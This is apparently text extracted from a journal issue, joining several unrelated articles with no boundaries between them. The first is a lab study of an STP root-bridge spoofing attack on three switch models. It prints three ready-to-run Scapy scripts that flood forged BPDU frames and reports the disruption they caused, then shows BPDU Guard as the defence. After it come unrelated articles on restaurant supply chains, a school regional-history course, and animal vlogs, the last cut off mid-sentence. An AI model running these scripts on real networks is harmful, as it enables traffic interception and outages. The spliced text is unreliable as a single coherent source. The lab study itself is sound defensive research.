Атака протокола STP: Man in the Middle за-

ключается в перехвате данных между двумя 
устройствами. На примере будет рассмотрен 
случай, где злоумышленник подменит корне-
вой мост в сети и полностью перехватит все па-
кеты. 

На первом этапе атаки на протокол необхо-
димо собрать правильную топологию с тремя 
коммутаторами, подключив их к друг-другу, 
создав петлю. Будет рассмотрена атака на 3 
разных коммутатора. Следовательно, будет 3 
однотипных топологии, их различие будет со-
стоять в том к какому коммутатору подключен 
компьютер злоумышленника, устройства так 
же соединены треугольником. Эта конфигура-
ции представлена на рисунке 2. 

 
Рис. 2. Топология для атаки 
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В первом случае PC злоумышленника под-
ключён к SW1 (Cisco catalyst 2960). Другие два 
PC связаны через SW2 (Eltex 1428) и SW3 
(Mikrotik CRS326-24G-2S). Во втором случае PC 
злоумышленника будет подключен к Eltex 
1428, а в третьем к Mikrotik CRS326-24G-2S. Во 

всех случаях коммутаторы подключены так, 
что образуют петлю, что автоматически акти-
вирует протокол STP. Физическое подключе-
ние коммутаторов для первого случая пред-
ставлено на рисунках 3–5. 

 
Рис. 3. Подключение к коммутатору Eltex 1428 

 

 
Рис. 4. Подключение к коммутатору Cisco catalyst 2960 
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Рис. 5. Подключение к коммутатору Mikrotik CRS326-24G-2S 

 
После установки топологии необходимо 

зайти в консоль каждого коммутатора, чтобы 
удостовериться в работе протокола STP. Для 
этого нужно установить программу Putty, во 
вкладке serial ввести характеристики speed и 
порт соединения, в данном случае COM3. После 

этого получен доступ в консоль коммутатора, 
где можно проверить состояние STP протокола 
командой show-spanning-tree. Сделаем это на 
двух коммутаторах и найдём текущий Root 
bridge. Это представлено на рисунках 6-7. 

 
Рис. 6. Состояние STP до атаки на SW3 
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Рис. 7. Состояние STP до атаки на SW2 

 
Исходя из полученных данных, можно сде-

лать вывод, что корневым мостом является 
SW2, это и нужно для проведения экспери-
мента. 

После этого необходимо установить связ-
ность между двумя устройствами-жертв. Для 

этого нужно установить соответствующие ад-
реса на устройства, на PC1 – 192.168.0.1, а на 
PC2 – 192.168.0.2. Представлено на рисунках 8-
9. 

 
Рис. 8. Установка IP-адреса на PC2 

 

 
Рис. 9. Установка IP-адреса на PC1 

 
После этого для проверки связности необходимо отправить пакеты с одного устройства на другое, 

чтобы убедиться в том, что пакеты доходят. Результат представлен на рисунке 10. 
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Рис. 10. Отправка пакетов 

 
На PC злоумышленника необходимо устано-

вить соответствующие программы (Ncap), биб-
лиотеку-расширение (Scapy), с помощью кото-
рых будет совершаться атака посредством за-
пуска скрипта python-Scapy.  

Следующим шагом создать скрипт для от-
правки поддельных BPDU пакетов, при прове-
дении трёх экспериментов мы меняем значе-
ния mac и dst под топологию: 

from scapy.all import Ether, STP, sendp 
import time 
iface = "eth0" 
mac = "d4:93:90:49:dd:58"  
bpdu = Ether (dst="24:01:c7:35:57:80", 

src=mac) / STP ( 
 rootid=0,  

 rootmac=mac,  
 bridgeid=0,  
 bridgemac=mac,  
 portid=0x8001,  
 maxage=20, 
 hellotime=2, 
 fwddelay=15 
) 
while True: 
 sendp (bpdu, iface=iface, verbose=False) 
 print (f"Отправлен BPDU с RootMAC={mac}") 
 time.sleep(2) 
 
from scapy.all import Ether, STP, sendp 
import time 
iface = "eth0" 
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mac = "00:0с:42:a7:b2:1f"  
bpdu = Ether (dst="d4:93:90:49:dd:58", 

src=mac) / STP ( 
 rootid=0,  
 rootmac=mac,  
 bridgeid=0,  
 bridgemac=mac,  
 portid=0x8001,  
 maxage=20, 
 hellotime=2, 
 fwddelay=15 
) 
while True: 
 sendp (bpdu, iface=iface, verbose=False) 
 print (f"Отправлен BPDU с RootMAC={mac}") 
 time.sleep(2) 
 
from scapy.all import Ether, STP, sendp 
import time 

iface = "eth0" 
mac = "24:01:c7:35:57:80"  
bpdu = Ether (dst="00:0с:42:a7:b2:1f", 

src=mac) / STP ( 
 rootid=0,  
 rootmac=mac,  
 bridgeid=0,  
 bridgemac=mac,  
 portid=0x8001,  
 maxage=20, 
 hellotime=2, 
 fwddelay=15 
) 
while True: 
 sendp (bpdu, iface=iface, verbose=False) 
 print (f"Отправлен BPDU с RootMAC={mac}") 
 time.sleep(2) 
 
Результат представлен на рисунках 11–13. 

 
Рис. 11. Результат работы программы c отправкой ложных BPDU для 1 случая 

 

 
Рис. 12. Результат работы программы c отправкой ложных BPDU для 2 случая 
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Рис. 13. Результат работы программы c отправкой ложных BPDU для 3 случая 

 
Во время выполнения этой программы кор-

невой мост меняется на необходимый зло-
умышленнику мост. Последствием станет пол-
ная потеря пакетов между PC1 и PC2, а также 
увеличение загрузки процессора на коммута-
торе.  

Результат атаки можно зафиксировать не-
сколькими способами. Нужно обратиться в 
консоль любого коммутатора и прописать 
show-spanning-tree. Атака будет считаться 
успешной в том случае, если во время действия 

скрипта корневой мост поменяется, а он будет 
с адресом: «d4:93:90:49:dd:58» (для первого слу-
чая). Также сравним предполагаемые резуль-
таты второго и третьего эксперимента с помо-
щью таблицы. Результат представлен в таб-
лице 1. Также можно зафиксировать пиковую 
загрузку процессора во время атаки и нарисо-
вать график зависимости загрузки от времени 
проведения атаки. Результат атаки представ-
лен на рисунках 14–17. 

 
Рис. 14. Поддельный MAC-адрес для первого случая 
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Рис. 15. Поддельный MAC-адрес для второго случая 

 

 
Рис. 16. Поддельный MAC-адрес для третьего случая 

 

 
Рис. 17. Пиковая загрузка процессора 

 
Таблица 1 

Сравнение результатов эксперимента 
Номер эксперимента Root id до атаки Поддельный Root id 

1 24:01:c7:35:57:80 d4:93:90:49:dd:58 
2 d4:93:90:49:dd:58 00:0с:42:a7:b2:1f 
3 00:0с:42:a7:b2:1f 24:01:c7:35:57:80 

 
Для сравнения посмотрим графически на то, как увеличивается загрузка процессора при трёх ата-

ках. Представлено на рисунке 18. 
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Рис. 18. Зависимость загрузки процессора от времени 

 
Исходя из конечных данных, проведённую 

атаку можно считать успешной, во всех трёх 
случаях мы добились ожидаемого результата. 
На время действия атаки пакеты будут прохо-
дить через корневой мост злоумышленника, а 
до назначения они доходить не будут. 

4. Методика защиты от атаки Man in the 
Middle 

Методика защиты заключается в использо-
вании BPDU Guard – функции протокола STP.  

BPDU Guard блокирует порт при получении 
BPDU. Если порт получает BPDU, он переходит 
в состояние error-disabled. Порт остаётся в этом 
состоянии, пока администратор вручную не 

разблокирует его или не настроит автоматиче-
ское восстановление. BPDU Guard можно вклю-
чить на коммутаторе или для каждого интер-
фейса. Настраивается BPDU Guard следующими 
командами в режиме конфигурации интер-
фейса: 

Настройка BPDU Guard: 
enable 
configure terminal 
interface range FastEthernet 0/1-24 
spanning-tree portfast 
spanning-tree bpduguard enable 
end 
Результат представлен на рисунках 19–21. 

 
Рис. 19. Установка portfast в default 

 

 
Рис. 20. Установка bpduguard в enable 

 

 
Рис. 21. Проверка работы настройки 
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Проделав точно такие же действия на двух других коммутаторах, стоит проверить атаку на успеш-
ность после настройки защиты. Результат представлен на рисунках 22–24 и в таблице 2. 

 
Рис. 22. Проверка работы атаки после настройки защиты для первого случая 

 

 
Рис. 23. Проверка работы атаки после настройки защиты для второго случая 

 

 
Рис. 24. Проверка работы атаки после настройки защиты для третьего случая 
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Таблица 2 
Сравнение результатов эксперимента после настройки защиты 

Номер эксперимента Root id до атаки Root id после атаки 
1 24:01:c7:35:57:80 24:01:c7:35:57:80 
2 d4:93:90:49:dd:58 24:01:c7:35:57:80 
3 00:0с:42:a7:b2:1f 24:01:c7:35:57:80 

 
Исходя из проверок, после применения за-

щиты ни одна атака не сработала, соответ-
ственно BPDU Guard является хорошим мето-
дом для защиты протокола STP. 

Заключение 
В ходе проведенного исследования были 

рассмотрены основные аспекты протокола 
STP, включая его роль в сетевой инфраструк-
туре и уязвимости, связанные с корневым мо-
стом. В процессе исследования в эксперимен-
тальной среде была проведена атака путём от-
правки поддельных BPDU сообщений, резуль-
таты и последствия атаки были описаны и про-
демонстрированы в данной статье. Было дока-
зано, что при атаке STP: Man in the Middle по-
следствием становится потеря трафика и пере-
грузка CPU устройств. 
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Аннотация. Статья посвящена анализу устойчивых моделей снабжения ресторанов в сегменте B2B с 
акцентом на сокращение пищевых потерь и углеродного следа. Исследование обосновывает актуальность 
внедрения устойчивых практик в сфере общественного питания на фоне климатических вызовов, расту-
щих требований ESG и международных стандартов. В работе систематизированы существующие модели 
устойчивых цепочек поставок, а также проанализированы ключевые барьеры их внедрения. Предложены 
конкретные решения по цифровизации, локализации, экологизации и институциональной поддержке ло-
гистических процессов в ресторанах. Работа может быть использована в практике ресторанного биз-
неса, логистического консалтинга и государственной политики в области устойчивого развития. 

 
Ключевые слова: устойчивое снабжение, HoReCa, B2B-поставки, пищевая логистика, углеродный след, 

короткие цепочки поставок, цифровая трансформация, блокчейн, экологическая эффективность. 
 
Актуальность исследования 
Актуальность исследования обусловлена 

нарастающим вниманием к вопросам устойчи-
вого развития и экологической ответственно-
сти в сфере общественного питания. По дан-
ным Продовольственной и сельскохозяйствен-
ной организации ООН (ФАО), ежегодно теря-
ется около одной трети всех произведённых в 
мире продуктов питания, что составляет при-
близительно 1,3 миллиарда тонн. Существен-
ная доля этих потерь приходится на сегмент 
HoReCa (гостиницы, рестораны, кейтеринг), 
где, по оценкам экспертов, до 30–40% еды вы-
брасывается на этапе приготовления и потреб-
ления [2, с. 2]. 

Одновременно с этим, пищевые потери ге-
нерируют до 8–10% глобальных выбросов пар-
никовых газов, делая ресторанный бизнес од-
ним из ключевых звеньев в цепочке формиро-
вания углеродного следа. Такая экологическая 
нагрузка оказывает негативное влияние не 
только на окружающую среду, но и на 

экономику отрасли, снижая рентабельность за-
ведений и увеличивая издержки поставщиков. 
На этом фоне обостряется необходимость 
внедрения устойчивых моделей B2B-снабже-
ния, которые позволят не только сократить 
объёмы пищевых потерь, но и снизить уровень 
выбросов углекислого газа, связанных с логи-
стикой и переработкой отходов. Усиливающе-
еся давление со стороны регулирующих орга-
нов, глобальные обязательства по достижению 
целей устойчивого развития (в частности, ЦУР 
12.3, направленной на сокращение пищевых 
отходов к 2030 году), а также растущий запрос 
со стороны потребителей на прозрачность и 
экологичность поставок делают тему исследо-
вания особенно актуальной. 

Современные цифровые технологии (про-
гнозирование спроса с помощью ИИ, отслежи-
вание сроков годности, внедрение возвратной 
тары и контроль CO₂-выбросов) открывают 
широкие возможности для трансформации 
B2B-логистики ресторанов. 
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Цель исследования 
Целью данного исследования является раз-

работка и оценка устойчивых моделей снабже-
ния ресторанов в сегменте B2B, ориентирован-
ных на минимизацию пищевых потерь и сокра-
щение углеродного следа, возникающего на 
всех этапах цепочки поставок. 

Материалы и методы исследования 
В качестве методологической базы исполь-

зовались междисциплинарные источники: ана-
литические доклады, научные исследования. 
Применялись методы сравнительного анализа, 
систематизации эмпирических данных, кейс-
методы, фреймворк анализа барьеров, визу-
альное моделирование цепей поставок и LCA-
анализ (оценка жизненного цикла продукции). 

Результаты исследования 
С начала XXI века устойчивое управление 

цепями поставок продуктов питания получило 
признание как критически важный фактор 
устойчивого развития, лежащего на пересече-
нии экологических, социальных и экономиче-
ских целей. Так, по модели тройной нижней 
линии, устойчивость требует комплексного 
внимания к прибыли, ресурсосбережению и со-
циальной ответственности. Фреймворк устой-
чивой цепочки иллюстрируется взаимосвязью 
ключевых элементов: зеленая логистика, 
управление ресурсами, заинтересованные сто-
роны и показатели эффективности. 

Построение устойчивой цепочки начина-
ется с этичного и экологичного выбора постав-
щиков, включающего сертификации FairTrade, 
Rainforest Alliance, Organic и соблюдение при-
нятых стандартов цепочек поставок. Далее – 
обеспечение прозрачности и прослеживаемо-
сти происхождения продуктов, что снижает 
риски, связанные с эксплуатацией ресурсов и 
трудовыми правами. 

Важнейшей практикой выступает проведе-
ние оценки экологической нагрузки посред-
ством LCA (Life Cycle Assessment), охватываю-
щей стадии от выращивания до утилизации. 
Например, оценка MDPI показывает, что ос-
новная экологическая нагрузка приходится на 
этап производства сырья. В дополнение OECD 
описывает технологические платформы, поз-
воляющие передавать достоверные данные по 
углеродному следу между звеньями цепи. 

Эмпирические данные демонстрируют, что 
производство продуктов отвечает за примерно 
68% выбросов CO₂‑экв., торговля и рестораны – 
27%, транспорт – 5%. Кроме того, анализ Our 
World in Data свидетельствует, что различия в 

углеродном следе продуктов колоссальны: от 
≈1 кг CO₂‑экв./кг у гороха до 60 кг у говядины. 
Такая разбежка подчеркивает важность выбора 
продуктов при формировании устойчивых 
меню и закупочной политики [4]. 

Особое значение в ресторанном секторе 
приобретает концепция «коротких цепочек», 
сокращающая food miles, а значит – углеродное 
воздействие. Однако даже локальные поставки 
требуют оценки практик фермеров, например, 
неразумное использование удобрений и ди-
зельного транспорта может нивелировать пре-
имущества локальности. 

В научной литературе по HoReCa-цепям от-
мечается недостаточная глубина исследова-
ний: несмотря на множество междисципли-
нарных работ по управлению пищевыми поте-
рями и экологией, специализированные иссле-
дования ресторанной логистики редки. При 
этом выделяют ключевые составляющие: кри-
тические факторы, практики и показатели ре-
зультативности. Это позволяет сформулиро-
вать теоретическую модель, где устойчивое 
снабжение базируется на четырех столпах: 
этичность, экологичность, прозрачность и ин-
новации. 

Таким образом, теоретическую основу 
устойчивого B2B‑снабжения ресторанов со-
ставляют: 

• интегрированная LCA-модель утилиза-
ции продукта; 

• стандартизированный обмен углерод-
ными данными для прозрачности; 

• Google‑анализ food miles и insetting/off-
setting стратегий; 

• концепция устойчивых закупок с ак-
центом на экономику, экологию и социальную 
справедливость (TBL); 

• дефицит целевых эмпирических иссле-
дований именно для HoReCa. 

Эти насущные теоретические маркеры поз-
воляют обосновать подход к организации 
устойчивых поставок, снижению потерь и 
CO₂‑следа, и стать основой для практических 
решений, представленных далее в работе. 

Структура потребительской ценности в ин-
дустрии общественного питания динамична и 
зависит от множества факторов, включая фор-
мат заведения, ожидания целевого сегмента и 
способность предприятия гибко адаптиро-
ваться к этим ожиданиям. На фоне роста кон-
куренции и усложнения логистических процес-
сов особенно важным становится не только со-
здание ценности, но и эффективное 
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управление ресурсами на всех этапах цепочки 
поставок [1]. 

Традиционная модель цепи поставок: от по-
ставщика сырья до конечного магазина или ре-
сторана представлена на рисунке 1 [3]. 

 
Рис. 1. Традиционная модель цепи поставок: от поставщика сырья до конечного магазина или ресторана 
 

Схема демонстрирует последовательные 
этапы движения продукции от поставщика сы-
рья до конечного потребителя, включая произ-
водство, логистические узлы (центральные и 
распределительные склады), а также посредни-
ков (дистрибьюторов и дилеров). Такая модель 
отличается протяжённостью цепи, большим 

числом участников и повышенными логисти-
ческими и экологическими издержками, осо-
бенно при поставках скоропортящихся продук-
тов питания. 

В таблице 1 систематизированы ключевые 
типы моделей устойчивого снабжения, приме-
няемые в B2B-поставках ресторанной отрасли. 

Таблица 1 
Типология моделей устойчивого снабжения ресторанов и их сравнительный анализ 

Модель Основные черты Преимущества Ограничения 

Конвенциональная 

Многозвенная система: 
ферма → дистрибьютор → 

переработка → склад → 
ресторан 

Надёжность поставок, 
масштабируемость 

Высокий углеродный 
след, потери, низкая 
прослеживаемость 

Интегрированная 

Прямой контроль цепи 
поставок, собственные 

или партнёрские фермы и 
логистика 

Снижение затрат, 
устойчивость, ESG-

соответствие 

Высокие затраты на 
внедрение, уязви-

мость при сбоях 

Короткая цепочка 
(Farm-to-Table) 

Закупка напрямую у ло-
кальных фермеров в пре-

делах региона 

Сокращение food 
miles, свежесть, дове-

рие 

Сезонные колебания, 
ограниченный ассор-

тимент 

Food Hubs (Агроцен-
тры) 

Логистический центр объ-
единяет мелких фермеров 
и перераспределяет про-

дукцию 

Поддержка МСП, упро-
щение логистики, со-
циальная значимость 

Инфраструктурные 
барьеры, потреб-

ность в координации 

LARG SCM (Lean, Ag-
ile, Resilient, Green) 

Гибридная модель с опти-
мизацией логистики, 

адаптивностью и экоба-
лансом 

Максимальная адапта-
ция, низкие потери, 

устойчивость к сбоям 

Сложность управле-
ния, необходимость 
IT-инфраструктуры 

 
Барьеров для внедрения устойчивых B2B-

моделей снабжения ресторанов множество, 
они систематизированы в экономические, ор-
ганизационно-технологические, социальные, 
регуляторно-политические и операционные 
группы: 

1. Экономические: инвестиции в цифро-
вые платформы (AI-прогноз, токенизация 
CO₂), инфраструктуру возвратной тары, серти-
фикации и систему отслеживания дают быст-
рый прирост устойчивости, но требуют значи-
тельных капитальных вложений. 
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2. Организационно-технологические: 
даже при наличии технологий многие ресто-
раны и поставщики не имеют компетенций и 
методологий для оценки эффективности ESG-
практик. Это снижает мотивацию и приводит к 
задержкам внедрения. 

3. Социальные и поведенческие: неста-
бильность eco-маркетов и информация часто 
воспринимаются скептически – «зелёный кон-
тент» вызывает недоверие, особенно при от-
сутствии прозрачных метрик (например, сер-
тификатов с крауд-данными). 

4. Регуляторные: отсутствие общего век-
торного законодательства, слабая 

сертификация и контроль за экологическим 
маркерами замедляют стандартизацию и эко-
номию на масштабе. 

5. Операционные: короткие цепочки и 
фермерские поставки усложняют логистику – 
сезонность, нехватка инфраструктуры (холо-
дильники, транспорт), высокая стоимость и не-
устойчивый ассортимент. Особенно страдают 
небольшие и независимые рестораны. 

Рисунок 2 иллюстрирует относительную 
значимость различных категорий барьеров при 
внедрении устойчивых моделей снабжения ре-
сторанов (результаты обобщенного анализа). 

 
Рис. 2. Вклад групп барьеров в общую устойчивость 

 
Устойчивое снабжение ресторанов – это 

синтез технологических, экономических, пове-
денческих, регуляторных и логистических вы-
зовов. Преодоление каждого из них требует 
комплексных решений: от инвестиций в обуче-
ние менеджмента и сертификации до создания 
транспортной инфраструктуры и цифровиза-
ции цепочек. 

В условиях нарастающего давления со сто-
роны экологических норм, потребителей и 
ESG-рейтингов, оптимизация устойчивых мо-
делей снабжения ресторанов требует систем-
ного подхода, который охватывает как страте-
гические, так и тактические уровни. Внедрение 
устойчивых практик возможно только при 
комплексной трансформации закупочной по-
литики, цифровой инфраструктуры и взаимо-
действия с поставщиками: 

1. Внедрение цифровых систем управле-
ния снабжением и прогнозирования спроса. 
Одной из ключевых рекомендаций является 
интеграция систем предиктивной аналитики 

на основе ИИ и машинного обучения (ML), что 
позволяет снижать объёмы закупок, сокращать 
потери и избегать перерасхода. Например, ре-
шения от компаний Winnow и Leanpath в сег-
менте HoReCa позволяют ежедневно монито-
рить пищевые отходы и на 30–70% снижать по-
тери продуктов уже в первые 6 месяцев исполь-
зования [5]. 

2. Сокращение количества посредников и 
переход к прямым контрактам. Развитие моде-
лей коротких цепочек поставок должно сопро-
вождаться логистической консолидацией – со-
зданием food hubs, кооперативов и централи-
зованных платформ, через которые рестораны 
могут закупать локальные продукты без по-
средников. Согласно исследованиям, такие мо-
дели повышают устойчивость сети и обеспечи-
вают прослеживаемость источника продукции. 

3. Оптимизация упаковки и возвратная 
тара. Переход на многоразовую, перерабатыва-
емую или компостируемую упаковку снижает 
углеродный след и стоимость логистики. 
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Проекты Loop, Again, Circular&Co предлагают 
модели возвратной упаковки для ресторанного 
сектора. В дополнение, в странах ЕС рекомен-
дована стандартизация однотипной экологич-
ной тары, что снижает издержки у участников 
цепи. 

4. Использование блокчейн- и IoT-техно-
логий для прозрачности цепи поставок. Техно-
логии blockchain-tracking (например, IBM Food 
Trust, Provenance, TE-FOOD) обеспечивают 
полную прослеживаемость от поля до стола, 
включая углеродный след, сертификацию, 
условия хранения. Это особенно важно в случае 
контрактов на поставки органической продук-
ции, где необходим строгий аудит происхожде-
ния и соблюдения стандартов. 

5. Разработка системы KPI и контрактных 
механизмов ESG. Необходимо включать в дого-
воры поставок показатели по экологичности, 
потере продуктов, использованию локального 
сырья. Например, Nestle и Unilever уже приме-
няют ESG-индикаторы в своих логистических 
цепях и переносят эти требования на партнё-
ров. 

6. Финансовые стимулы и поддержка 
устойчивых поставщиков. Государства и фи-
нансовые институты должны разрабатывать 
программы субсидирования, налоговых льгот, 
«зелёных» кредитов и ESG-финансирования 
для малого и среднего бизнеса, переходящего 
на устойчивые модели. В ЕС, в рамках Farm to 
Fork Strategy (часть Green Deal), предусмотрены 

гранты и компенсации ресторанам и ферме-
рам, использующим устойчивую логистику. 

7. Повышение квалификации и обучение 
персонала. Многие барьеры связаны с недоста-
точной осведомлённостью управленцев ресто-
ранов и поставщиков о возможностях устойчи-
вых решений. Необходима реализация специа-
лизированных программ, например, 
Sustainable Restaurant Association (Великобри-
тания) предоставляет сертификацию, обучение 
и аудит ресторанных практик по 14 критериям 
устойчивости. 

8. Учет климатических и сезонных факто-
ров в планировании. Рестораны, особенно в се-
верных странах и регионах с нестабильной аг-
ропогодой, должны учитывать сезонные коле-
бания и внедрять динамическое планирование 
меню и запасов. Рекомендуется использовать 
climate-smart logistics, например, платформы 
Farmigo, Local Orbit, позволяющие адаптиро-
вать закупочную политику под сезонную до-
ступность локальных продуктов. 

9. Внедрение стандартов оценки CO₂-
эквивалента закупок. На практике возможно 
использование решений типа CarbonCloud, 
MyEmissions или Sustainabill, которые встраи-
ваются в платформы ресторанного учета и поз-
воляют в режиме реального времени видеть уг-
леродный след каждой поставки и блюда. 

Примеры устойчивых решений и платформ 
представлены в таблице 2. 

Таблица 2 
Примеры устойчивых решений и платформ 

Инструмент/Платформа Функция Эффект 

Winnow/Leanpath 
Контроль и анализ пищевых 

отходов 
Сокращение потерь на 30–70% 

IBM Food Trust/Provenance 
Блокчейн-прозрачность цепи 

поставок 
Рост доверия потребителей, 

сертификация 

Farmigo/Local Orbit 
Планирование закупок по се-

зону 
Сокращение food miles, под-

держка фермеров 

Loop/Again/Circular&Co Возвратная тара и упаковка 
Снижение CO₂, сокращение од-

норазовой тары 

CarbonCloud/MyEmissions 
Оценка углеродного следа в ре-

альном времени 
ESG-отчётность и управление 

логистикой 
 

В ближайшие годы устойчивое снабжение в 
сегменте HoReCa будет активно развиваться 
под влиянием ESG-стандартов, цифровизации 
и ужесточения экологического законодатель-
ства. Ключевыми тенденциями станут: 

• массовое внедрение цифровых реше-
ний (ИИ-прогнозирование спроса, блокчейн 

для отслеживания происхождения продуктов, 
IoT в логистике); 

• развитие локальных и коротких цепо-
чек поставок; 

• рост влияния «зелёных» потребителей, 
что подстегивает рестораны публично демон-
стрировать экологическую ответственность; 
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• включение углеродного следа и эколо-
гических метрик в закупочные контракты; 

• государственные стимулы и налоговые 
преференции для устойчивых поставщиков и 
ресторанов; 

• международная стандартизация 
(например, ISO 22000 и ISO 14001) и интеграция 
в рейтинг устойчивости ресторанных брендов. 

Эти тренды делают устойчивое снабжение 
не просто опцией, а стратегической необходи-
мостью для HoReCa в 2025–2030 гг. 

Выводы 
Таким образом, устойчивое снабжение ре-

сторанов – это не только путь к снижению уг-
леродного следа и пищевых потерь, но и ин-
струмент стратегической устойчивости пред-
приятий в условиях ESG-трансформации эко-
номики. Эффективная реализация таких моде-
лей требует комплексной работы в пяти 
направлениях: цифровизация и предиктивное 
планирование, локализация поставок, разви-
тие инфраструктуры агроцентров, возвратной 
упаковки, а также внедрение контрактов с эко-
логическими KPI. Основными барьерами вы-
ступают высокая стоимость перехода, нехватка 
знаний у управленцев, слабая логистика и 
фрагментарное регулирование. 

В будущем наиболее перспективными явля-
ются модели, сочетающие ИИ-
прогнозирование спроса, блокчейн-прозрач-
ность, планирование CO₂-эквивалента и 

динамическую интеграцию с локальными про-
изводителями. 
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Введение 
Современное образование ориентировано 

не только на передачу знаний, но и на форми-
рование личности, способной к осмыслению 
собственной культурной принадлежности, 
ценностному выбору и социальной активно-
сти. В этой связи особую значимость приобре-
тает включение регионального компонента в 
учебно-воспитательный процесс, особенно в 
подростковом возрасте, когда происходит ак-
тивное становление идентичности [1]. Регио-
нальное краеведение, подкреплённое научным 
подходом, может стать основой для построе-
ния ценностно-ориентированной образова-
тельной среды, в которой история родного края 
перестаёт быть набором дат, а превращается в 
живую ткань культурной памяти. Разработка 
учебно-методического комплекса «Новгород-
ская мозаика» стала попыткой выстроить та-
кую среду на основе историко-культурного 
наследия Новгородской земли. 

Цели и задачи комплекса 
Целью создания УМК «Новгородская моза-

ика» стало проектирование курса, способству-
ющего воспитанию гражданской и культурной 

идентичности учащихся, формированию уме-
ний исследовать и интерпретировать локаль-
ное культурное наследие, вовлечению под-
ростков в проектную, поисковую и творческую 
деятельность. 

Задачи комплекса включают: 
• разработку модульной структуры курса 

на 34 занятия; 
• интеграцию междисциплинарных зна-

ний (история, этнография, география, язык, 
культура); 

• использование методов активного обу-
чения: квестов, экскурсий, мастер-классов, 
творческих заданий; 

• формирование УМК как системы: рабо-
чая тетрадь, методическое пособие, презента-
ционные и раздаточные материалы. 

Структура учебно-методического ком-
плекса «Новгородская мозаика» 

Комплекс состоит из шести тематических 
модулей, отражающих ключевые элементы ис-
торико-культурного пространства Новгород-
ской земли: 

1. Откуда начинается Родина: география и 
топонимика; 
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2. Новгородский колокол: символы и 
культурная память; 

3. Мастера и ремёсла: традиции и про-
мыслы; 

4. Народные праздники и обряды; 
5. Дом, семья, быт: этнографический 

очерк; 
6. Новгород – наш общий дом: исследова-

тельские проекты. 
Методологические основы 
В основу курса положены принципы куль-

турно-исторического и личностно-ориентиро-
ванного подходов [2], позволяющих актуализи-
ровать значимость родного края через призму 
личного отношения школьников. Использу-
ются положения деятельностного подхода, со-
гласно которому познание осуществляется че-
рез активное взаимодействие с материалом, 
включенность в исследовательскую, творче-
скую и проектную деятельность. Также учиты-
ваются идеи В. В. Давыдова, Л. С. Выготского, 
Д. Б. Эльконина [3], подчёркивающие важность 
социальной ситуации развития и опоры на 
зону ближайшего развития. 

Формы и методы реализации 
УМК реализуется в формате внеурочной де-

ятельности в 8 классе (34 занятия), возможно 
использование на занятиях по истории, обще-
ствознанию, литературе, краеведению. Приме-
няются методы: 

1. Проектная и исследовательская дея-
тельность; 

2. Экскурсионные маршруты и квесты; 
3. Работа с артефактами (предметами 

быта, архивами, устными историями); 
4. Творческие задания (иллюстрации, со-

чинения, стенгазеты, мини-выставки). 
Практические результаты и апробация 
УМК «Новгородская мозаика» был апроби-

рован: в 2024-2025 учебном году в двух образо-
вательных организациях: 

1. МАОУ «Лесновская ООШ»; 
2. МАОУ «Средняя общеобразовательная 

школа № 10». 

По результатам внедрения отмечено повы-
шение интереса учащихся к истории края, рост 
вовлеченности в проектную деятельность, 
формирование положительной идентичности. 
Проведённые анкетирования показали, что бо-
лее 80% участников курса отметили «повыше-
ние чувства гордости за родной край» и «пони-
мание важности традиций». УМК получил по-
ложительные отзывы педагогов и методистов. 

Научная новизна 
Научная новизна разработки состоит в инте-

грации воспитательного компонента и регио-
нального содержания в модульную систему за-
нятий на основе культурно-исторического под-
хода, что позволяет формировать региональ-
ную идентичность школьников средствами 
проектной и исследовательской деятельности. 

Заключение 
В современных условиях возрастания вни-

мания к воспитанию как важнейшему направ-
лению национального проекта «Образование» 
[4], подобные комплексы могут стать эффек-
тивным инструментом реализации задач пат-
риотического воспитания. 
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nimal-related video content carries both posi-
tive and negative implications for youth be-

havior and public consciousness. Millions of views 
on animal videos clearly demonstrate a high de-
mand for such content, yet ethical standards in 
media production remain crucial [7, p. 45-62]. It is 
essential to foster a responsible approach to both 
producing and consuming animal-focused video 
blogs. 

Over the past several decades, the internet has 
become a primary channel for information dissem-
ination [8]. With the rise of social networks and 
video hosting platforms – particularly YouTube – a 
new form of communication has emerged: video 
blogs (vlogs) [2]. Animal-related video content oc-
cupies a significant portion of the media space, at-
tracting millions of viewers, including children 
and adolescents, making this format a vital tool for 
shaping public opinion [10, p. 114-133]. Issues re-
lated to ethical treatment of animals, animal pro-
tection, and pet welfare have gained special prom-
inence in recent years [4]. Animal vlogs can exert 
both positive and negative influences on public 
perceptions of these issues, thereby shaping cul-
tural and social attitudes toward animal care and 
treatment. 

Public opinion comprises a collective set of 
views, attitudes, and beliefs shared by a social 
group and actively influencing social life [6]. In the 
context of animal protection, media – especially 
video content – play a significant role in forming 
values and norms regarding attitudes toward ani-
mals. According to Albert Bandura’s social learning 
theory [1], individuals can adopt behaviors ob-
served in others and modify their attitudes accord-
ingly. The influence of video blogs on public opin-
ion can also be understood through the lens of par-
asocial interaction [5, p. 215-229] – a specific type 
of one-sided relationship formed between viewers 
and video content personalities. 

It is also important to consider the role of me-
dia platforms in value formation, where video 
blogs serve as crucial instruments for disseminat-
ing ideals and norms based on varying approaches 
to animal care and protection [9]. For instance, 
watching videos that promote responsible animal 
treatment can foster positive attitudes and encour-
age viewers to emulate these behaviors, whereas 
unregulated or cruel behaviors portrayed in videos 
can lead to disregard for ethical standards  
[7, p. 45-62]. 
  

A 
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On YouTube, several distinct types of animal-
related video content can be identified: 

1. Educational and Informative Content. 
These vlogs teach proper animal care, demonstrat-
ing methods of treatment, feeding, training, and 
maintenance. Channels like Magic Family serve as 
prominent examples [2]. They not only provide in-
formation but present it in an accessible and en-
gaging manner, facilitating viewer comprehension 
and retention. 

2. Entertainment Content. Videos featur-
ing animals playing games, participating in pranks, 
or being anthropomorphized by attributing human 
emotions are common. Such videos often lack 
guidance on proper animal care, potentially dis-
torting perceptions of pet care needs [4]. 

3. Commercial Content. These vlogs pri-
marily promote pet products (food, toys, accesso-
ries, etc.) but frequently neglect to emphasize the 
importance of animal health and welfare, focusing 
instead on product marketing [10, p. 114-133]. 

4. Provocative and Controversial Content. 
Videos employing extreme or stressful treatment 
of animals to maximize views. Such content may 
violate ethical norms, cause animal distress, and 
propagate misleading notions of pet care [7, p. 45-
62]. 

Video blogs wield considerable influence on 
public perception, especially among youth – the 
primary audience for such channels [10, p. 114-
133]. Through visual imagery, emotional narra-
tives, and personal stories, vlogs can foster respon-
sible attitudes toward animals or, conversely, pro-
voke misunderstandings about their needs. Below 
are several key mechanisms through which video 
blogs impact public opinion. 

One of the most powerful tools is emotional en-
gagement. Viewing content where animals express 
emotions such as joy, fear, or attachment elicits 
empathy in viewers. Emotional involvement en-
courages more responsible pet care and a height-
ened desire to care for animals. This process aligns 
with the theory of emotional contagion, which ex-
